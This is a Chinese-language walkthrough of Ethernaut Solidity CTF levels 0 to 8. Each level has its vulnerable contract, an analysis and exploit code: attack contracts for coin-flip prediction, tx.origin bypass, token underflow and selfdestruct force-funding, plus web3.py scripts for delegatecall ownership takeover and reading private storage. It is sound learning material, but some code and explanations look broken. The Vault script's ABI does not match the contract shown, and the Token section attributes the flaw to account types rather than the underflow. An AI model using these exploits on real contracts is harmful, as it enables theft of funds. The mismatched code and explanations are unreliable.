本系列是OpenZeppelin Ethernaut CTF 的闖關記錄,旨在邊玩邊學習 Solidity 安全
#0 Hello Ethernaut#
1. Set up MetaMask#
安裝 MetaMask 插件,略
2. Open the browser's console#
輸入player
查看自己錢包的地址
3. Use the console helpers#
調用getBalance(player)
進行交互
4. The ethernaut contract#
輸入ethernaut
查看合約信息
5. Interact with the ABI#
合約的 ABI 接口會暴露合約的 public 方法,可以進行一些簡單的交互比如ethernaut.owner()
6. Get test ether#
上水龍頭領 ETH
https://faucets.chain.link/rinkeby
7. Getting a level instance#
生成合約實例
8. Inspecting the contract#
9. Interact with the contract to complete the level#
根據指示進行層層調用
WIn!
附上通關後給出的完整合約代碼
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Instance {
string public password;
uint8 public infoNum = 42;
string public theMethodName = 'The method name is method7123949.';
bool private cleared = false;
// constructor
constructor(string memory _password) public {
password = _password;
}
function info() public pure returns (string memory) {
return 'You will find what you need in info1().';
}
function info1() public pure returns (string memory) {
return 'Try info2(), but with "hello" as a parameter.';
}
function info2(string memory param) public pure returns (string memory) {
if(keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked('hello'))) {
return 'The property infoNum holds the number of the next info method to call.';
}
return 'Wrong parameter.';
}
function info42() public pure returns (string memory) {
return 'theMethodName is the name of the next method.';
}
function method7123949() public pure returns (string memory) {
return 'If you know the password, submit it to authenticate().';
}
function authenticate(string memory passkey) public {
if(keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) {
cleared = true;
}
}
function getCleared() public view returns (bool) {
return cleared;
}
}
#1 Fallback#
合約代碼
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallback {
using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
通關條件
- 獲得這個合約的所有權
- 把他的餘額減到 0
這可能有幫助
- 如何通過與 ABI 互動發送 ether
- 如何在 ABI 之外發送 ether
- 轉換 wei/ether 單位 (參見
help()
命令) - Fallback 方法
首先觀察合約,要獲得合約的所有權則要使owner=msg.sender
除了構造方法外,只有兩個入口滿足
接下來分析下被觸發的可能性
在contribute()
中需要msg.sender
的貢獻值大於owner
, 而owner
的貢獻值為1000eth
, 因此我們很難利用這個函數
再來看看receive()
函數,只需要觸發這個函數並且滿足msg.value
和msg.sender
的貢獻值大於 0 即可
而對於receive()
和fallback
的觸發由下圖可以表示
觸發fallback() 還是 receive()?
接收ETH
|
msg.data是空?
/ \
是 否
/ \
receive()存在? fallback()
/ \
是 否
/ \
receive() fallback()
所以整體攻擊思路如下
-
先調用
contribute()
同時設置msg.value < 0.001 eth
-
調用轉賬,設置
msg.value = 0.0001
(大於 0 即可),以觸發receive()
-
調用
withdraw()
,轉空合約
攻擊流程
然後進行 check
#2 Fallout#
合約代碼
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallout {
using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
// constructor
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
通關條件
- 獲得合約所有權
合約分析
這個合約實現了類似存款取款查詢餘額的功能
和上題一樣,要獲得合約所有權就得關注owner = msg.sender
代碼
經過仔細的對比,發現Fal1out()
和Fallout
相差一個字符,所以這個合約並無構造函數,而Fal1out()
只是作為一個 public 的方法而存在,那麼只要調用這個函數即可
攻擊流程
通過查看owner
地址是默認值可以證實我們上述分析
調用並完成攻擊即可獲得合約擁有權
Win!
#3 Coin Flip#
合約代碼
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
通關條件
consecutiveWins
大於 10
合約分析
FACTOR 的值其實就是就是 2^255, 可以使區塊的 hash 隨機分至 true/false
而攻擊這個合約最重要的一點就是知道它的blockValue
又由於我們只能通過block.number
獲取當前交易所處的區塊,由於以太坊網絡中的交易一直在持續進行,下一次交易的區塊大概率會變更。
不過如果我們能夠控制攻擊合約和被攻擊合約的交易的時間差極小,就能使其他們的交易屬於同一個區塊
我們可以通過攻擊合約先計算當前的blockValue
和coinFlip
再調用被攻擊合約的flip()
就能使得每次的 guess 都正確了,然後再調用十次攻擊合約,就能使得consecutiveWins
大於 10
Exp
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '../SafeMath.sol';
// 利用 多筆交易同一区块的特性
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
contract Attack {
using SafeMath for uint256;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
CoinFlip hackFilp;
function Target(address target) public {
hackFilp = CoinFlip(target);
}
function flip() public {
uint blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue){
revert();
}
lastHash = blockValue;
uint coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if(side == true){
// 調用被攻擊者的合約的flip函數 flip(true);
hackFilp.flip(true);
}else{
// 調用被攻擊者的合約的flip函數 flip(false);
hackFilp.flip(false);
}
}
}
攻擊流程
獲取被攻擊合約地址
進行攻擊合約的部署和初始化Target
調用一次flip()
後
連續調用 10 次即可
Win!!
#4 Telephone#
考察內容:tx.origin
合約代碼#
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
透過條件#
- 獲得合約的所有權
合約分析#
整個合約代碼很短,出現了一個之前沒有接觸過的概念tx.origin
, 它的值是遍歷整個調用棧並返回最初發送調用(或交易)的帳戶的地址
那麼我們只要使得調用changeOwner
的地址不是和被攻擊合約的msg.sender
相同即可
那麼就可以通過部署一個攻擊合約然後達成間接調用的目的
Exp#
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
contract Attack {
Telephone hackTelphone;
function Init(address _address) public{
hackTelphone = Telephone(_address);
}
function attack() public {
hackTelphone.changeOwner(msg.sender);
}
}
攻擊流程#
獲取被攻擊合約的地址
部署攻擊合約並調用attack()
查看contract.owner
時發現已經改變了
Win!!
#5 Token#
考察內容:外部帳戶和合約帳戶、整數溢出
合約代碼#
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
透過條件#
- 增加手中的 token 數量
合約分析#
依舊是外部帳戶和合約帳戶的問題,一個外部帳戶可以創建多個合約帳戶。
這裡貼上 CTFWIKI 上面的解釋
在這裡我們可以調用將合約帳戶裡面的初始的token
轉到外部帳戶
Exp#
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token { // 外部帳戶和合約帳戶的區別
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
contract Attack {
Token hackToken;
function init(address _addr) public {
hackToken = Token(_addr);
}
function hack() public {
hackToken.transfer(msg.sender,5);
}
}
攻擊流程#
獲取被攻擊合約地址
部署攻擊合約
發現外部帳戶的 token 數量已經發生了改變
win!!
題外話 —— 整數溢出漏洞#
值得注意的是這裡的版本小於 0.8.0,如果不用safeMath
庫的話是會存在整數溢出漏洞的
我們可以將這裡的攻擊代碼改成下圖形式
發現可以繞過這裡的校驗 即20-21=2^256-1
#6 Delegation#
考察內容:Delegation 攻擊
合約代碼#
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Delegate {
address public owner;
constructor(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
透過條件#
- 將 Delegation 合約的 owner 修改成 Attacker 的
前置知識(合約調用的三種方式)#
_Name (_Address).f () 形式#
通常利用合約的地址和合約代碼 (ABI 接口) 來創建合約的引用:_Name(_Address)
,其中_Name
是合約名,_Address
是合約地址。然後用合約的引用來調用它的函數:_Name(_Address).f()
,其中f()
是要調用的函數
Call#
call
是address
類型的低級成員函數,它用來與其他合約交互。它的返回值為(bool, data)
,分別對應call
是否成功以及目標函數的返回值。
Call
的使用規則:
目標合約地址.call{value:發送數額, gas:gas數額}(abi.encodeWithSignature("函數簽名", 逗號分隔的具體參數))
Delegatecall#
Delegatecall
的使用規則與Call
類似,一個比較大的區別是執行上下文的不同。
Call 的執行上下文
DelegateCall
的執行上下文
合約分析#
題目給了兩個合約,一個是Delegate
合約,是被委託執行的合約,另一個是Delegation
合約,是委託他人執行的合約
首先來分析Delegate
合約,這個合約的內容很簡單,唯一一個比較引人注意的便是pwn()
函數,pwn()
函數可以改變owner
,是優先利用的函數
再來看看Delegation
合約,這個合約裡進行了DelegateCall
的操作,而我們需要對其進行觸發,也就是觸發fallback()
函數,而觸發fallback()
函數則需要調用一個不存在的函數,而這個不存在的函數剛好用pwn()
函數替代便可以完成完整的觸發鏈
Exp#
from web3 import Web3
rpc_url = 'https://sepolia.infura.io/v3/{}' # # fill with your rpc_url
w3 = Web3(Web3.HTTPProvider(rpc_url))
assert w3.isConnected()
private_key = '' # fill with your private_key
account = w3.eth.account.privateKeyToAccount(private_key)
vul_addr = '0x0f5343F75EFF3d28F32954E2497F3f3Ddadb9837'
vul_abi = [
{
"inputs": [
{
"internalType": "address",
"name": "_owner",
"type": "address"
}
],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [],
"name": "owner",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "pwn",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
]
vul_contarct = w3.eth.contract(address=vul_addr, abi=vul_abi)
TransactionData ={
'chainId': w3.eth.chain_id,
'from': account.address,
'to':vul_addr,
'gas': 3000000,
'gasPrice': w3.toWei(7000000000,'wei'),
'nonce': w3.eth.getTransactionCount(account.address),
'value': w3.toWei(0,'wei'),
'data':w3.keccak(text="pwn()")[0:10]
}
signed_txn = w3.eth.account.signTransaction(TransactionData, private_key)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
print(txn_hash)
txrecipet = w3.eth.waitForTransactionReceipt(txn_hash)
print(txrecipet)
#7 Force#
考察內容:Selfdestruct 攻擊
合約代碼#
合約內沒有內容!
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
透過條件#
- 使合約的 Balance>0
前置知識#
關於 Selfdestruct 可以看慢霧的文章, 筆者在此就不作贅述了
合約分析#
言簡意賅,通過一個合約的 Selfdestruct 來進行強制轉賬
EXP#
// SPDX-License-Identifier: MIT
pragma solidity ^0.4.0-0.8.15;
contract Attack {
constructor() public payable{} // 使得可以在部署的時候接收eth,以便之後通過Selfdestruct轉給被攻擊合約
function attack(address addr) public {
selfdestruct(addr);
}
}
Win!
#8 Vault#
考察內容:訪問私有數據
合約代碼#
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
透過條件#
- 使合約的 locked = false
前置知識#
關於訪問私有數據可以看慢霧的文章, 筆者在此就不作贅述了
合約分析#
言簡意賅,訪問到 password 所在的插槽的數據即可
而password
所在的是slot1
EXP#
from web3 import Web3
rpc_url = 'https://sepolia.infura.io/v3/{}' # fill with your rpc_url
w3 = Web3(Web3.HTTPProvider(rpc_url))
assert w3.isConnected()
private_key = '' # fill with your private_key
account = w3.eth.account.privateKeyToAccount(private_key)
vul_addr = '0x2A6A452B0E0aB8F4dD9d6C210853D21B389684E7'
vul_abi = [
{
"inputs": [
{
"internalType": "bytes32[3]",
"name": "_data",
"type": "bytes32[3]"
}
],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [],
"name": "ID",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function",
"constant": "true",
"signature": "0xb3cea217"
},
{
"inputs": [],
"name": "locked",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function",
"constant": "true",
"signature": "0xcf309012"
},
{
"inputs": [
{
"internalType": "bytes16",
"name": "_key",
"type": "bytes16"
}
],
"name": "unlock",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function",
"signature": "0xe1afb08c"
}
]
vul_contarct = w3.eth.contract(address=vul_addr, abi=vul_abi)
slot1 = w3.eth.get_storage_at(vul_addr,0x1)
password=w3.toHex(slot1)
TransactionData ={
'chainId': w3.eth.chain_id,
'from': account.address,
'to':vul_addr,
'gas': 3000000,
'gasPrice': w3.toWei(7000000000,'wei'),
'nonce': w3.eth.getTransactionCount(account.address),
'value': w3.toWei(0,'wei'),
'data':w3.keccak(text="pwn()")[0:10]
}
TransactionData = vul_contarct.functions['unlock'](password).buildTransaction({
'chainId': w3.eth.chain_id,
'from': account.address,
'gas': 3000000,
'gasPrice': w3.toWei(7000000000,'wei'),
'nonce': w3.eth.getTransactionCount(account.address),
'value': w3.toWei(0,'wei')
})
signed_txn = w3.eth.account.signTransaction(TransactionData, private_key)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
print(txn_hash)
txrecipet = w3.eth.waitForTransactionReceipt(txn_hash)
print(txrecipet)
Win!